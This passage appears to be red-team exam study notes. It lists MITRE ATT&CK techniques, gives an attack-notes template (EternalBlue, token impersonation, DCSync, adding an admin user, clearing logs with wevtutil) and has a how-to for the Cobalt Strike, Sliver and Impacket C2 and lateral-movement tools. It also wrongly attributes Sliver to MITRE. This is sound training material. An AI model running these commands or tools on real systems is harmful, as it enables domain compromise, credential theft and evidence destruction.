- HTTP/S Beacon (T1071.001)

- DNS Tunneling (T1071.004)

- Custom Command Protocol (T1095)

Exfiltration (TA0010)

- Exfiltration Over C2 Channel (T1041)


- Data Transfer Size Limits (T1030)

Impact (TA0040)

- Data Destruction (T1485)

- Service Stop (T1489)

- Data Encrypted for Impact (T1486)

─────────────────────────────

Keep this handy during exams and practice!

─────────────────────────────

Custom Exam Day Note Template

# CRTPro Exam Notes

## � Enumeration

- Hosts discovered:

- WS01: [Link]

- DC01: [Link]

- Users found:

- katie, svc_print, admin01

- Shares:

- \\WS01\Shared

- \\DC01\SYSVOL

## � Initial Access

- Credentials found:

- katie:CrypT0medPass

- Exploits used:

- MS17-010 EternalBlue (successful on WS01)


## � Privilege Escalation

- Method: Token Impersonation

- MITRE ID: T1134.001

- Steps:

1. Used Invoke-TokenManipulation.ps1 to impersonate DA token

2. Validated admin privileges

## � Lateral Movement

- Tool: Impacket [Link]

- MITRE ID: T1021.002

- Details:

- From WS01 to DC01 using svc_print creds

- Alternative:

- WMI remote execution (T1047)

## � Domain Domination

- Methods:

- DCSync with Mimikatz (T1003.003)

- ACL abuse on AdminSDHolder (T1221)

- New admin user added: redteamadmin

## � Cleanup

- Cleared logs: `wevtutil cl System`

- Removed persistence registry keys (T1547.001)

- Confirmed no active backdoors

## � Flags & Evidence


- Flag #1 WS01 User Desktop: [screenshot filename]

- Flag #2 DC01 C:\Secrets: [screenshot filename]

---

## Tools Used

- PowerView.ps1

- Mimikatz

- Impacket ([Link], [Link])

- BloodHound

---

## Notes

- Watch for detection when using PSExec

- Avoid disabling DC services to prevent instability

- Always verify creds via RDP and WMI

Help Simulating Real TTPs with Popular Tools

a) Cobalt Strike

• Set up Team Server on your Kali or Linux box.

• Configure a listener (HTTP, HTTPS, SMB).

• Generate a Beacon payload (staged or stageless).

• Deploy on your Windows VM.

• Use interactive commands:

o beacon> shell for interactive shell

o beacon> screenshot to capture victim screen

o beacon> mimikatz for credential dumping

o beacon> spawnas for token impersonation


• Use Pivoting: beacon> socks to tunnel through compromised hosts.

b) Sliver (MITRE’s Open Source C2)

• Install Sliver ([Link]

• Start Sliver server (./sliver-server)

• Create listeners (HTTP/HTTPS/SMB)

• Generate implants for Windows, Linux, MacOS

• Use Sliver shell for commands:

o sessions to list beacons

o interact <id> to control a beacon

o mimikatz module included

o Port forwarding and pivoting supported

c) Impacket (for Lateral Movement & Credential Access)

• Tools include:

o [Link] — Execute commands remotely using SMB and admin creds

o [Link] — Execute commands via WMI

o [Link] — Enumerate SPNs for Kerberoasting

• Usage example:

python3 [Link] DOMAIN/admin@target_ip [Link]

python3 [Link] DOMAIN/admin@target_ip "whoami"

• Use [Link] to pull service tickets for offline cracking.

Update:
for JEA you need to use minrm

[Link]
Credits & Disclaimer

� Uploaded by: [Link]

� Stay updated with more cybersecurity content at: [Link]

� To improve your hacking skills Join our discussion group: [Link]

� This content is shared for educational purposes only. Please support the original creators by
purchasing official courses when possible.

� Knowledge is power—use it responsibly!

You might also like